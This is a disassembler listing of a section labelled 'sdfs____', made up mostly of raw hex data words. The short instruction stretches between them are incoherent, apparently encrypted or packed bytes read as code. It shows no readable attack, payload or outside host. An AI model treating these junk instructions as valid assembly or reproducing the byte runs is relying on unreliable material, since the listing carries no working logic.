		dd 1C34376Fh, 0FEDC9875h, 0A518C4FBh, 68F30544h, 0C080ECD5h
		dd 0F858E383h, 0E8E47011h, 27F3278Bh, 49683068h, 65A5D90Bh
		dd 9DD4014Ch, 9835D520h, 251DBBE0h, 1885EA57h, 0C0D81EE4h
		dd 41E56FBFh, 17F3AF4h,	0D71CDB70h, 0F84BAEB6h,	17A8F0A6h
		dd 0A069F3FEh, 71AABECh, 358F642h, 240C5CB2h, 120F9h, 0D41D6F9h
		dd 40E8F79Ch, 9B67DF39h, 40119BF5h, 1F114A8h, 11D8EA03h
		dd 243D76B2h, 0BC94CFFCh, 94C444A5h, 16C0AC6Ch,	5B8CB309h
		dd 6C68B099h, 2666D80h,	1D15FD25h, 84AF61h, 7BDE080Dh
		dd 0C0E5ACF3h, 0EB459C38h, 0A513DB52h, 9D0CF7DAh, 0F9740E7h
		dd 2611931Bh, 0B4245685h, 0AF131D58h, 40DCE09Dh, 0DEED0378h
		dd 0BC851DF0h, 1C9C702Eh, 68246069h, 43E14B51h,	0F6B069D4h
		dd 0FA072025h, 1FB60090h, 8C3BDFCh, 0BB12A711h,	58E3BED7h
		dd 0B1EA1D12h, 0B1A7D0ACh, 91C0909Dh, 0DF575CDDh, 29710A00h
		dd 0B4D8F582h, 0F6DD60Bh, 7FC4015Ah, 0B500C1BCh, 89B55E68h
		dd 53C86870h, 1836E77Ah, 36A89A32h, 0E397AC90h,	0BF105700h
		dd 0B4886C1Dh, 792300E0h, 0C90D849Bh, 82011733h, 8AFC9091h
		dd 0D3E8D25Eh, 7928DC34h, 7C98B0BAh, 0ACA4102Fh, 81EF4B01h
		dd 63D1E784h, 680873E1h, 0AFBCCB1Ah, 2C1C3028h,	6797373h
		dd 0D4C99037h, 0DB0318D7h, 0A4B73354h, 0B0F7A02Bh, 0B9B0A5h
		dd 0C3317123h, 0D0932AD1h, 0D920DD00h, 87083F5Fh, 7F40774Ch
		dd 0C3650097h, 54889D29h, 49C7A88Fh, 604CA714h,	0B06E0021h
		dd 0D80F9F57h, 48A34F51h, 0D1A00EFFh, 998A39D3h, 0C9D51106h
		dd 620CAF6h, 74BFDDCh, 7E0C4896h, 38F5704Ah, 0AD2500D1h
		dd 0D548AE88h, 237A274Bh, 0A100EDF8h, 0B156B32Ah, 3B7EBCE0h
		dd 0BD1F51EEh, 54220375h, 0A006CFA5h, 492DC9DEh, 6F57F828h
		dd 589F58B0h, 0F8FFC8BDh, 0F9D57B80h, 0F069D101h, 0A3652A4Eh
		dd 0E31EA528h, 6861520Ah, 0D56EAE00h, 18903F25h, 8172C7Ch
		dd 3CF030BDh, 52634A70h, 0EAEEBB28h, 53C48029h,	6D32F67h
		dd 0F054683Dh, 1A03A1FEh, 885109F1h, 247DE1D2h,	337892h
		dd 29A8B387h, 0D73C56AAh, 0FFE50051h, 0BDAC8E62h, 5DA707A4h
		dd 365AD1C6h, 0B600A829h, 4E23B490h, 50B899C9h,	3CCD003h
		dd 4B8112AAh, 98008FDBh, 45D1089Fh, 0C10CB254h,	18C9D870h
		dd 5D945052h, 8D019F9Ah, 4AE183A2h, 3882A7EFh, 73AB4BC6h
		dd 6A819481h, 0CB09E0C4h, 646710C0h, 39CFF35h, 10B9AC82h
		dd 89C155FCh, 8086D1BFh, 9F48B1F1h, 2A68CA88h, 0EC982F93h
		dd 33C48057h, 83281548h, 5096554Bh, 40F81018h, 0B5017B29h
		dd 4AF9BA7Ch, 20A4DBC2h, 0B660A75h, 0B4C0ADE0h,	286142C9h
		dd 9020A4D0h, 0CF0FA7F8h, 49D2DB18h, 8106FCCh, 0AF6755CCh
		dd 0F432940h, 4C63F803h, 426004ADh, 831234A9h, 24B043C8h
		dd 0B800EA56h, 0F97EFD69h, 181E5523h, 5CC551D1h, 60C184FEh
		dd 3D98A3BDh, 0D0203CE9h, 0EC541820h, 51D570FDh, 182483Ah
		dd 2C3AC3A6h, 1F0DA38h,	5CD47CF8h, 0B91D6FE4h, 5EEC8C1Fh
		dd 0DB008A0Dh, 8CD2025Ch, 0F2512515h, 50618E1h,	0C0580201h
		dd 0FC79C528h, 1674A2CCh, 3A749067h, 5C8B250Dh,	2C03EC81h
		dd 1E013834h, 8996B353h, 7FEC5BD4h, 5CC1E1E5h, 0C7E242D8h
		dd 0D3C92A0Ch, 4F0B63C6h, 325058Ch, 3C5FE531h, 68798A14h
		dd 6461882h, 0A52B6EAh,	5AC90207h, 8AE0ED84h, 0BC251Dh
		dd 543515ABh, 535CD92Ah, 50ADEA3Dh, 1D009962h, 0F8480D9Ch
		dd 3BE8C2D8h, 350F8204h, 2A0281Ch, 0E7EA60FCh, 658C2940h
		dd 0C5803Dh, 1C8EB93Fh,	3262228Bh, 0A5936962h, 850E8A87h
		dd 10A4ECEAh, 813C01B6h, 0B7539AC6h, 0FEFD868h,	0AC7FF7F2h
		dd 0EDEAF40Ch, 3C892A72h, 0EE185ACFh, 35B3109Bh, 6705D2F4h
		dd 0CF2815Bh, 6160D1BAh, 840324h, 0BC545292h, 68891460h
		dd 0CDA8A38h, 215C2535h, 13CB6C32h, 0B4A8855Eh,	6F03CE82h
		dd 0C2287038h, 0BC581AE6h, 0FF00C53Bh, 7004BE56h, 0F828390Ch
		dd 1C932D6h, 104E7E1Eh,	40E9778Fh, 2C4FEAE0h, 75F5CAA8h
		dd 321BA80h, 824D2232h,	0CA05EF2h, 0D278F830h, 526CE201h
		dd 0BF576F53h, 2A010206h, 5FF288CFh, 76F7CEEAh,	0C7822914h
		dd 27D888F9h, 3CE36905h, 0B951B730h, 0C18CE8A8h, 0A3EAC212h
		dd 0C0208107h, 5EE67D19h, 0CEED70E8h, 2AD482B0h, 32403433h
		dd 5D0D0667h, 243A52F3h, 8545A1Eh, 3209E193h, 803312C4h
		dd 4217C008h, 0C10B50D9h, 0FD646FEAh, 0B012F780h, 0FB60BE6Ah
		dd 2BEE820Bh, 7E40967h,	430FFE2Ah, 7BBE5323h, 3F60C8F0h
		dd 102D2203h, 52E31787h, 0CD404E70h, 14EF690Ch,	54BE4380h
		dd 0FF0F45B4h, 0E5D4F7CCh, 0EA492132h, 0CAAC03E7h, 0F43ED939h
		dd 0E88A348Dh, 847A0364h, 0C4340C33h, 0EA060C32h, 521C6BC3h
		dd 6352B663h, 9E115017h, 5116413Dh, 0F05C55AFh,	4B140BBAh
		dd 73E96FC3h, 76EA4831h, 2C807C9Ah, 0BA0728BEh,	0F6018271h
		dd 0EBF806C4h, 0DD5062EAh, 5C535A55h, 0E5438169h, 33CBA24h
		dd 29BB3AF3h, 0EB820B01h, 6B774CC2h, 18498C90h,	93BA1588h
		dd 0F4028030h, 55738C48h, 0CDECCD7Bh, 0EB75C154h, 895AEAC1h
		dd 2FA8AE5h, 29ED1EFh, 4F62025Eh, 905C1623h, 7F8C579Fh
		dd 9D0CB31Fh, 0A9DBDC28h, 87168D2h, 59E5482Ah, 6320DD30h
		dd 0A8BC144Fh, 507BE7C1h, 41B663F7h, 257D2A0Dh,	0DCF58209h
		dd 8AAE509Dh, 80E29F88h, 5F1766D0h, 73A0581Ch, 678076D4h
		dd 3B84E45Ah, 563C02C7h, 2D03BE0Fh, 0EAEF3280h,	28C18BCCh
		dd 9EEC25Bh, 0FB2FBE43h, 63F2DF70h, 0AA690013h,	2D040239h
		dd 4E3825Bh, 10B1BB87h,	3524B084h, 7EB3FC2h, 78C4CB80h
		dd 0DF8A7DEDh, 527E5349h, 8D06902Ah, 0A4412288h, 0C0005922h
		dd 4E0308F5h, 60F92A29h, 88069A02h, 1D0D850Ah, 0B941E120h
		dd 0D635950Ah, 4851CAF7h, 92E834FFh, 37C67CC4h,	0FB18126Fh
		dd 254A2B06h, 2BE39820h, 93D11D8Ch, 0E45A0A4Ch,	0E4498FAh
		dd 5280222Bh, 93C732EAh, 7412EDCBh, 225312C8h, 0F8225B0Ch
		dd 8CCDA2D3h, 0EA34982Dh, 34EC4D75h, 22366D30h,	4F1B2313h
		dd 0E2105D02h, 0EA0C9045h, 32DA609Eh, 3A3D8406h, 2ED92CC5h
		dd 0B4EA0702h, 638FC41Ch, 0E38A940Dh, 800CFEE1h, 4FE1C7B7h
		dd 485A6426h, 0EE7F5088h, 2A37C97Dh, 0A6386211h, 0FF2C786Dh
		dd 7D40660Fh, 0ECA10BECh, 4666A64Fh, 0B942C01Bh, 15FC5DC4h
		dd 0BF03632h, 0B4CDC851h, 4C461758h, 72A105Ch, 2249592Ch
		dd 84C2A1C8h, 30515C01h, 0B10F9363h, 0C6D931D0h, 0A49AFC40h
		dd 0E17317Ah, 166FD85h,	23705553h, 0EF0A9210h, 40E91E20h
		dd 0DF00F817h, 0E30EF82h, 3902C6E8h, 0F0AA5FF6h, 32DE91D3h
		dd 9C0550Ch, 0E7B248BAh, 57306B0Fh, 8D584676h, 24EA8C14h
		dd 395BFB8Ah, 3C71698Ah, 5AB5C088h, 4D982F0Eh, 695BB1C1h
		dd 0BD892294h, 2C14A270h, 353354A1h, 25E601Ch, 8459C61Ch
		dd 2D10CCE6h, 0EA0D066Ch, 2484495Dh, 0A49005Ch,	8B04FC72h
		dd 0D2C1D929h, 69903A4Eh, 0C5848EC4h, 0BE018803h, 2A7E695Dh
		dd 0BC1AE433h, 0D8002939h, 637351C0h, 44D07EB8h, 0BB531B08h
		dd 0DBE59F27h, 7EE37581h, 0A8158C01h, 0C2316B8Dh, 0D882903h
		dd 84799F32h, 24D8FB20h, 8807345Ah, 6905729Eh, 3DCD0F9Bh
		dd 0EB2A3910h, 96D64C88h, 3113E420h, 2C0167C6h,	2055AE9h
		dd 0A72D8143h, 0F6C1C525h, 0B0709CB7h, 0EFC10139h, 0B8696706h
		dd 0DAA2D258h, 0C3E18FB1h, 79C7CC4Fh, 10DD2973h, 0EBB7A060h
		dd 1EBC807Fh, 6D5A4E1Eh, 4E189289h, 1C462150h, 0B6598491h
		dd 807BAA4Ch, 71E55B9h,	0E4921C38h, 3298B446h, 6346D2Eh
		dd 10C0600Dh, 0B3416081h, 82001990h, 3E1452C6h,	1FC70D5Ch
		dd 0EFC0D3B0h, 565BD602h, 662CC85Ah, 3329CC26h,	0B3048789h
		dd 6A9CC91Bh, 58E6B39Ah, 0EE53E046h, 0E02D26DFh, 62092894h
		dd 73908A1h, 0ED2F90BEh, 0E67C8220h, 5F1F2916h,	4AD2395Dh
		dd 38469149h, 0C8A82E7Ah, 0B60E8A8Fh, 2ED8D4E4h, 0A2003C0Eh
		dd 0E681C6FFh, 0DEF73ACAh, 6BDF699h, 30F7570Fh,	67332DF1h
		dd 0A63D5B74h, 6805BA29h, 5E345F68h, 64E22091h,	0A9DC1005h
		dd 3524BC05h, 5BF10E61h, 0E4C20F90h, 98650403h,	0F21F9CDh
		dd 0B0538F18h, 829F7B11h, 4F03F028h, 0EF9D0C7h,	690F2112h
		dd 0E4965704h, 2646A036h, 7023E00Fh, 0A15D450Dh, 8F563ED2h
		dd 3D8024C6h, 5CCF8200h, 0EDE76430h, 5F75967Eh,	205D3D49h
		dd 69C910B7h, 462D4CB2h, 0D737BDD0h, 15BADD86h,	0C1110456h
		dd 3609168Bh, 32DD4062h, 1E30E5CEh, 0FA02B088h,	48202CF9h
		dd 499D08BCh, 30A1D29h,	2E322975h, 2E8B502Dh, 1EA1EF2Ah
		dd 94C8DF4h, 0CB622224h, 0F741185Dh, 0E93BC9D6h, 0E794C383h
		dd 65F81026h, 774DBB01h, 0B3610589h, 82276960h,	59205860h
		dd 90DF1D3Dh, 0F2492EEDh, 88209D49h, 0E0B33B92h, 73BEEA0Ch
		dd 69521259h, 175053FEh, 651E0E39h, 0AA0C330Fh,	0F0038129h
		dd 0F5831058h, 2B2D1569h, 0C491A95Fh, 8CD597Fh,	0D9D6EA82h
		dd 0DEF6B0C8h, 5A63E033h, 5A1D8487h, 148B6578h,	0DA651D14h
		dd 6D855891h, 2E24E600h, 1826B7Dh, 0DD2BCEE2h, 40DAF880h
		dd 0A4D8FCD6h, 0D0029602h, 8FBF575Ah, 5FF82525h, 2661C4C9h
		dd 87B0E901h, 0C0D7E507h, 23FAB618h, 6037D57Dh,	51F483A5h
		dd 7400412h, 0F1AB1B80h, 740784BFh, 4BC597B0h, 0F8E0012Ch
		dd 0B6212A81h, 20F92031h, 0D4E52761h, 8063061h,	0E07C8632h
		dd 0AB40F134h, 485A7CE0h, 0C92A583Fh, 0CE5591A4h, 3E8ACCD1h
		dd 0B9511B56h, 87D51D02h, 0EA57A0AAh, 58B139D1h, 0EBA22ABCh
		dd 10C10C03h, 128B7385h, 121D788Bh, 511D4349h, 31C1CFB1h
		dd 47D94A9h, 4C695830h,	7E25947Eh, 1332CC82h, 0CF175C69h
		dd 0A11D5C60h, 0F526957h, 82003A35h, 27EB6698h,	84827B90h
		dd 30EA0801h, 43117568h, 332478C3h, 86622EC3h, 0B2070949h
		dd 94C88451h, 12F4815Ch, 711C2399h, 37F827Fh, 8B528894h
		dd 6087A429h, 10675D41h, 10F022BCh, 8A12D507h, 814B02E2h
		dd 6240DD80h, 45E255E7h, 2E97645Ch, 889007E6h, 5ED35D18h
		dd 7A24E99Ch, 0C781C41Bh, 24EF4273h, 0C488B0ECh, 91040516h
		dd 0DAE883A7h, 5C2473C0h, 3F60E918h, 78575218h,	71F1F653h
		dd 0BE1CC4FFh, 0C8010078h, 3FC08359h, 749D5004h, 0E9584324h
		dd 773D2A17h, 8E108EC1h, 0D800DF2Fh, 5822CC0Eh,	6A0C6187h
		dd 0F7E08950h, 32603A9Bh, 0D47462E6h, 0FE01280Ah, 0CD80C6A2h
		dd 5616209Bh, 0D51EDE89h, 0F930CF8Dh, 0DF37DDD8h, 4CE2DF0Ch
		dd 5C0E4767h, 98E8213Fh, 0F7100E23h, 840F0CDDh,	45CED829h
		dd 34608CEEh, 0B7C5811Fh, 42770611h, 169D1AE9h,	995D503Bh
		dd 132D5B8h, 585EE787h,	286FC351h, 0CB352605h, 0BA0E578Ah
		dd 58007013h, 85ECE705h, 0C77D010Eh, 1ACF60B8h,	0EF808128h
		dd 0B9418B34h, 0C548C481h, 7C07B02Ch, 1CFDE9F8h, 0B0500F4Ch
		dd 0E9D90CF3h, 0BA129E93h
		dd 0E2593B00h, 8BD72962h, 0C319A614h, 924EE916h, 0F660E0Dh
		dd 0AA8C74BBh, 83D6D2D6h, 190030D3h, 2BB44B72h,	3DB75F7h
		dd 33DDC381h, 0F3B06383h, 9F8253Ch, 0EA8EE91Bh,	2434903Ah
		dd 0A43DF5Fh, 9DC47B81h, 43C694E6h, 0D102EC40h,	8735EC0Dh
		dd 30280E3Ah, 75021274h, 29C8DF49h, 0C589A040h,	300291AAh
		dd 6801017Fh, 6B845E17h, 60BD242Ch, 0F9432F23h,	3C8B4682h
		dd 0D405224h, 14A2C281h, 40870611h, 0E8015C9Bh,	5D1F0550h
		dd 65A9681Bh, 0BA222A67h, 0E9D00A62h, 82FEBFh, 3BB8F781h
		dd 0F150C5Eh, 7CF4FD86h, 5944E700h, 15E97ECAh, 0C116C069h
		dd 880F03EFh, 40D33033h, 0FA8DB94Fh, 0D7F75D87h, 34809147h
		dd 541280A0h, 83D830ACh, 660230ECh, 44BB28Fh, 0F7E99A38h
		dd 0D12D28C1h, 4D207346h, 0B629401Fh, 0DE043F1Ch, 8E2CF00Eh
		dd 58C3005Ah, 0C3B1EB80h, 0A4E8E90Ch, 5AD2C00h,	48D51614h
		dd 4377092Dh, 0C000AE6h, 600B0C39h, 3BF3872Eh, 0F010835h
		dd 5F026DB6h, 1836EBD8h, 1845BE05h, 89F0BBBDh, 4C172D01h
		dd 0D1E97406h, 0C524A222h, 580E02B6h, 0A3410542h, 43183215h
		dd 90867CD0h, 6095F017h, 0BD55A98Bh, 0DD013732h, 3E89055Ah
		dd 0E0421D10h, 5D07842Dh, 78550680h, 0BB0A5025h, 0CF813D08h
		dd 64E50609h, 79C1484h,	7573FD09h, 0CFA12CDCh, 0A4BE0078h
		dd 462C2850h, 748F0F0Ch, 70CE9B57h, 70B7E83h, 0C189A704h
		dd 4A7CB1BEh, 3F1E8313h, 0D116214Ch, 1CD94FEEh,	0C08742F6h
		dd 14A2F6D9h, 0D35EF529h, 0FA790E15h, 1F9074C4h, 90E432BBh
		dd 0C9B34B5Dh, 3F24702Dh, 0BD30F7E8h, 90334802h, 0D063136h
		dd 66F28B78h, 7D44F6E9h, 3AB85003h, 0C809477Ah,	8010A0E9h
		dd 8483368h, 0A693D471h, 0BE259138h, 0CF10EF4Ch, 33976865h
		dd 1AFC2C3Eh, 6E0AD8A4h, 13BF128Eh, 0C95F8368h,	26F93289h
		dd 885CEC9Bh, 268CB23Fh, 8E9D488h, 3241B65h, 0D909D31Eh
		dd 400C1046h, 9823E061h, 0C022406Ch, 8008E500h,	0EA88E8C5h
		dd 1BC2EC59h, 4D2F6A4h,	2821A0EFh, 7D905AD3h, 1480A976h
		dd 0C657DA2Fh, 6386470Fh, 18CF9933h, 510C2554h,	4A9E9944h
		dd 912A686Ch, 0A0861E0Dh, 0EECEE91Ah, 0AB4C88FAh, 87C2FB64h
		dd 89DD911Ch, 7C687720h, 0E49D26Eh, 3518BF61h, 0BA0E5257h
		dd 0C6E92DE4h, 0ECBA5401h, 0AD99A9C2h, 0DFD920h, 81519864h
		dd 0B73714E3h, 0D33848h, 0D9F1BD91h, 55BDE29h, 8068C601h
		dd 2693533h, 0AC1E11B0h, 93C59A40h, 2A4E0B01h, 64E9CD87h
		dd 0ED5F1F24h, 3DA253F9h, 9DF520F5h, 5C24429Bh,	0E489303Bh
		dd 0A2D1B4E9h, 21126583h, 210F2606h, 28AF2388h,	9BA34D9Ah
		dd 0C805576Fh, 526E9173h, 0D13C20B2h, 4564BAF6h, 2BA1C757h
		dd 8BAA3E41h, 0EB2AFA0h, 0DAD8FCB9h, 0F6DC4CDFh, 2D03AD56h
		dd 3720988h, 0EE39E355h, 5F11A96Fh, 9AA8E40h, 0C1052EBFh
		dd 162C2CEAh, 2A3718E9h, 8B6AF021h, 72ED71C0h, 7337E1CDh
		dd 0F5C08E76h, 9AE9C209h, 901D927Fh, 505CCF4Ah,	8B93546Ch
		db 0CFh
; ---------------------------------------------------------------------------


loc_51AEB9:				; CODE XREF: sdfs____:0051AF15j
		xor	[ecx+0Ah], dl
		pop	ecx
		and	al, 46h
		or	dword ptr [ebx+eax*8], 4Fh
		jmp	near ptr 1651BFCAh
; ---------------------------------------------------------------------------
		dd 94728ABFh, 4CF73138h, 0AC00D35Eh, 158AB6Dh, 0ED26E9FBh
		dd 0F1982F1Fh, 14330950h, 265E3699h, 3C891410h,	0DDB707B9h
		dd 5DB401C9h, 26082C80h, 6E1E4807h, 7DC522Eh, 0A1E7C128h
		dd 841A7BE9h
		db 38h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		test	[eax], ch
		pop	ebp
		push	esi
		mov	al, ds:10062C5Dh
		jle	short loc_51AEB9
		xor	eax, 90142168h
		jg	short loc_51AF6B
		jecxz	short loc_51AF2D
		jmp	near ptr 0D99CE36Bh
; ---------------------------------------------------------------------------
		sbb	[ebp+1Ch], esi
		adc	al, 99h
		retn	0CE23h
; ---------------------------------------------------------------------------


loc_51AF2D:				; CODE XREF: sdfs____:0051AF1Ej
		mov	cl, [ebp+edi+6E8C66CFh]
		or	bl, [eax+403D45B1h]
		xor	eax, offset dword_4ECA24
		lodsd
		mov	esi, ebx
		mov	cl, bl
		pop	edi
		xor	ebp, eax
		xor	cl, ch
		test	[ebp-6EB64898h], ebp
		in	al, 0BEh	; Interrupt Controller #2, 8259A
		call	far ptr	6100h:8060E658h
		and	cl, [edx-1A7EF89Ah]
; ---------------------------------------------------------------------------
		dw 3D8Ch
; ---------------------------------------------------------------------------
		mov	al, ds:9A7CE961h
		jnb	short near ptr loc_51AFE4+2
		lahf
		dec	edx
		jo	short loc_51AFB6


loc_51AF6B:				; CODE XREF: sdfs____:0051AF1Cj
		cmp	eax, 77080FC9h
		sub	[esi+53h], al
		xchg	eax, ebx
		sbb	ebp, [eax+4FBE0324h]
		jo	short near ptr dword_51AFAC
		push	424D9050h
		xlat
		or	[edi], ch
		jmp	near ptr 3366C82Fh
; ---------------------------------------------------------------------------
		db 8Fh,	10h, 0DFh
		dd 680D545Dh, 9277EA2Eh, 4C52BE68h, 0FD012043h,	51172C42h
		dd 0C87730B9h, 1232E959h, 0C05E106Fh
dword_51AFAC	dd 0F1164C8Fh, 49659E20h		db 0F2h, 0C9h
; ---------------------------------------------------------------------------


loc_51AFB6:				; CODE XREF: sdfs____:0051AF69j
		xchg	cl, [ebx]
		mov	ebx, ecx
		add	ebp, esp
		jb	short near ptr loc_51AFE4+4
		push	ds
		dec	edx
		dec	ebp
		rcr	ebp, 5
		call	near ptr 3C6A0BBEh
		push	ebp
		sub	[esi+422CFB0Bh], cl
		loopne	loc_51B03C
		sbb	cl, [ebx-6BF5AF80h]
		dec	esi
		db	66h
		rcl	byte ptr [esi+22h], 0D2h
		popf
		add	eax, 0A4700CEFh


loc_51AFE4:				; CODE XREF: sdfs____:0051AF65j
					; sdfs____:0051AFBCj
		xor	eax, 0A3F3BDC0h
		push	ebx
		add	dl, ah
		xor	edx, edi
		jmp	near ptr 39AACD7h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 55110250h, 7CD16870h, 0CD59E6B0h, 3E60848Ah,	95B92ED0h
		dd 63DB0033h, 0B18E181h, 86903AFAh, 32047F01h, 0D1D9F77Dh
		dd 0DEE9D0FBh, 0BFE70BF0h, 188FCA01h, 0D04E7F24h, 0F7685145h
		dd 1C7590E9h, 7FA85D2Ah, 0BA3DEE59h
; ---------------------------------------------------------------------------


loc_51B03C:				; CODE XREF: sdfs____:0051AFD0j
		fiadd	dword ptr [eax-6B82F217h]
		db	64h
		enterw	4782h, 2Fh
		xchg	edx, [esi+2DDA1003h]
		jnz	near ptr 28889978h
		mov	al, [esi+7869F540h]
		dec	edx
		db	3Eh
		mov	al, 75h
		call	far ptr	1812h:621A1EA8h
		out	dx, eax
		xlat
		pop	edx
		movsb
		or	[eax], ebx
		jmp	near ptr 0F6E13DCCh
; ---------------------------------------------------------------------------
		dd 0DE8825DBh, 80033794h, 0E6C086CEh, 9BF6B106h, 0C003EED8h
		dd 0F028450Ch, 2B0C045Ah, 3383A5E9h, 2A5D98C3h,	7FC3EF97h
		dd 306919CBh, 28F4C21Ah, 0E72A7A02h, 70C0EF06h,	0CD8B0124h
		dd 53547457h, 2958443Ch, 909CC512h, 191133F0h, 3A055A48h
		dd 6A2F9703h, 8239A11Eh, 0D94FC86Fh, 89ACC031h,	5B381C5Ah
		dd 203352E9h, 0B3AD8F1Fh, 0C304D0B8h, 65010FB7h, 648482C4h
		dd 0E9870818h, 394C6EE6h, 16691D3h, 348DF5C1h, 66485CF8h
		dd 0CC2D862Ch, 0C2C106F9h, 2C564A3Bh, 3E1E0FFh,	0F48A0F1Eh
		dd 9C32537h, 0E04C9342h, 0C04D9B8Bh, 0B7B1F16Bh, 8918DB34h
		dd 62B459CFh, 0A82F6229h, 0F86C5FF9h, 0BE46514Eh, 3C888F59h
		dd 0BAA685Ch, 2F8320F5h, 0EEC8839h, 0C15958E6h,	5C8A5AF5h
		dd 6CB538BEh, 18748741h, 0B5518F3Eh, 0A3B4EEB6h, 0F93EB050h
		dd 2901011Ah, 0B29F40D3h, 614E4D33h, 69623C29h,	0BA9EB9C0h
		dd 294C2012h, 68570128h, 41CD7A05h, 58EAB748h, 38D39722h
		dd 5D8CED18h, 51020677h, 65766866h, 9A988F5Ah, 6831EF41h
		dd 0C426C832h, 0AA017A7Fh, 86EE9h, 707E0C1h, 6D0FF405h
		dd 0D581310Ah, 0DFA85113h, 6860453h, 1F29EF04h,	7B616D9Ah
		dd 688085FBh, 6B5210CBh, 160E9E1Fh, 0EE81A09Eh,	48776A6Bh
		dd 5B22364Ch, 6292CD06h, 9FE1C7Fh, 2AEB40C3h, 54485180h
		dd 1247895h, 0C7010DCDh, 1861431Dh, 0A072F0BCh,	91575D08h
		dd 4C5F110Dh, 0F7F88496h, 25005809h, 0E228B5D2h, 29CD8926h
		dd 0E9899523h, 0B314E0F1h, 2CB560FDh, 0E5045BDDh, 533AE8EAh
		dd 71E98BB7h, 360F282Dh, 1BD0DF65h, 0E058C188h,	140B96C8h
		dd 99C3359h, 32032CE8h,	6E4AE3D8h, 0A3776116h, 48598AF2h
		dd 0A3F1F750h, 871D12B3h, 627EDD14h, 0C0E9C4C0h, 0EBAC7093h
		dd 0A33EFB0Eh, 6A87E293h, 0C8248EC2h, 0B450425Dh, 0D294E143h
		dd 87E45B20h, 59FF38E1h, 0E2C0F06Ah, 9CCC9806h,	99802799h
		dd 65AA6802h, 31DD5C4h,	0C0525107h, 127C3560h, 0EA017098h
		dd 0B8ABC182h, 0E9E4D189h, 5A5849C2h, 685DEE02h, 6DC60786h
		dd 40DA62F1h, 2707C6EDh, 16EE746h, 8360869h, 0C233A83Fh
		dd 0D06316Dh, 5A0F6420h, 0C70F44B3h, 6D0413C9h,	0F0777DFh
		dd 0D2CBA48Fh, 0B9EAAAE2h, 2EE0F510h, 94D7F680h, 0CAFE0CC6h
		dd 0D640E134h, 8DF23980h, 28CDC29Fh, 334966A5h,	216E1CD2h
		dd 0E5EAA632h, 0B02E0906h, 50AC015Dh, 39586FF0h, 0ADBBC0ABh
		dd 302A1F56h, 0BE244481h, 29ECCA79h, 14F96E9Ah,	0D5E90C04h
		dd 0B414D488h, 8951802Dh, 56FA68E1h, 14BCC5B1h,	0C2377698h
		dd 0E3618D4Fh, 460ECCBEh, 88F064C5h, 0A3520F05h, 492622A1h
		dd 0ADCC6252h, 0F12430Dh, 3D4F928Eh, 6E38A457h,	513E9FB7h
		dd 8D11B295h, 0BA9F212h, 3380C0B9h, 0DDF6FD88h,	8BF0EFE8h
		dd 2D30C60h, 0C40E35E9h, 83CDB541h, 0D09959D5h,	44FFDD04h
		dd 4ADB8BF9h, 802CDB2Ch, 0B980F188h, 0B2400D30h, 30024110h
		dd 13C52F63h, 5791CE89h, 90EF53FFh, 0F8E9F701h,	9DDFB618h
		dd 5E0BFDC6h, 0CF482158h, 125C6DE9h, 0B9879C9Dh, 78B50F23h
		dd 0E0C178D4h, 8082C880h, 0F06C41BEh, 0E681BD80h, 99245E34h
		dd 919524Fh, 0C1483145h, 5837C965h, 9E068F8Fh, 0CD07E905h
		dd 7B364A86h, 58E118B5h, 33B21269h, 0D3063106h,	0C2400B0Dh
		dd 0D6F7B340h, 0D80FB090h, 67B4C39Ah, 0E8E05EF0h, 0A579C05h
		dd 2C8B79CDh, 95D6EFB7h, 7F2E83B2h, 0FFDC1524h,	842C3A17h
		dd 68E009D3h, 24235A84h, 0A9482554h, 78130550h,	6D805223h
		dd 63D5A10h, 0A80BA54h,	0FA64A855h, 0E9058353h,	17790A3h
		dd 0C3F65DEBh, 7EDB0259h, 5EF3962Ch, 0B11B4188h, 8E5652BEh
		dd 498C2882h, 4232805Eh, 163FE854h, 4738E4E9h, 2FF03101h
		dd 0B9E108DBh, 92D52C39h, 5D0CCE52h, 4099C97Dh,	892E534Dh
		dd 42292CE3h, 26AEEB9Dh, 6852C8E9h, 387D4F8Fh, 0ED4196B5h
		dd 0C1099542h, 5B0282ADh, 82819246h, 2912747Ah,	0F2F04A90h
		dd 0CC704A4Eh, 6D5BB53h, 0E90DBD01h, 0BA04171Eh, 74BC6FCCh
		dd 90381380h, 388B6043h, 6BE618EEh, 69A60CC0h, 130133E8h
		dd 808FE9D1h, 16684BDDh, 302D33F7h, 525BD6F7h, 51B00BBAh
		dd 0B28938A6h, 79EB0280h, 0B9609CACh, 0E0398A52h, 12D9FE7Ah
		dd 0DA7C9AE9h, 0ED4276F1h, 579BE917h, 82F387AEh, 85E411ECh
		dd 7B14BB09h, 0EE57818h, 2C545C80h, 4E74E7C3h, 0CCE907F8h
		dd 84F7E34Dh, 35B41B6Dh, 201714D8h, 0B9709623h,	10F82B1h
		dd 0A60298Eh, 252CD093h, 3B35E218h, 4043FFE4h, 15B4565Ch
		dd 8809BB63h, 0D3514897h, 0B92140EAh, 449B5FC6h, 664278C0h
		dd 0B0311D5Dh, 40014D8Fh, 1DDEE16h, 4AE92D2Fh, 0C0AE2C98h
		dd 52D318F5h, 136375B9h, 0C031681Ah, 518BC162h,	25257D3Ch
		dd 0CE914255h, 0FC97C121h, 603D6305h, 210416CFh, 0DA29176Ch
		dd 8120484h, 0C10FA68Ah, 0CA2003E2h, 67FD5528h,	2B5AE918h
		dd 5479681Ch, 1503252h,	0E0CE7B0h, 3810C9E9h, 0DE338A83h
		dd 3B3FB58Ch, 140A44D6h, 0EA7B4082h, 320981C5h,	13E13384h
		dd 0B684BDB2h, 1315BA08h, 338CB51h, 1C57316Eh, 1AF6F94Eh
		dd 3D29C460h, 0E2378C0Fh, 11CEC04Ah, 1B17B733h,	4B4EB8E9h
		dd 628EC949h, 5A5AF038h, 527A7151h, 0A22908BAh,	0C6F007DCh
		dd 0F7590F18h, 7ACE8746h, 2D687B0Ch, 242534CAh,	1720C308h
		dd 0AD3C4970h, 30501812h, 6073F909h, 0EF45C10h,	5F895551h
		dd 0F14F7B25h, 88BDE801h, 2972E6C7h, 4E95D90h, 0BF24C08Fh
		dd 4AD11602h, 5F49F9FAh, 0F7E98467h, 32623EBCh,	98C53A6Ch
		dd 0A2B99425h, 42C098A6h, 0A6B6D2CAh, 0DA131A34h, 5081DA16h
		dd 8A02C8A2h, 0BBF643E9h, 9E5AAE06h, 8E138B10h,	0ED7261FDh
		dd 0C3581811h, 5C0036Ah, 33F3D2A4h, 0BB313041h,	0C5AB4C06h
		dd 5EC1F9F6h, 68D0CCB6h, 940C78BEh, 98CF889Ah, 59EF2804h
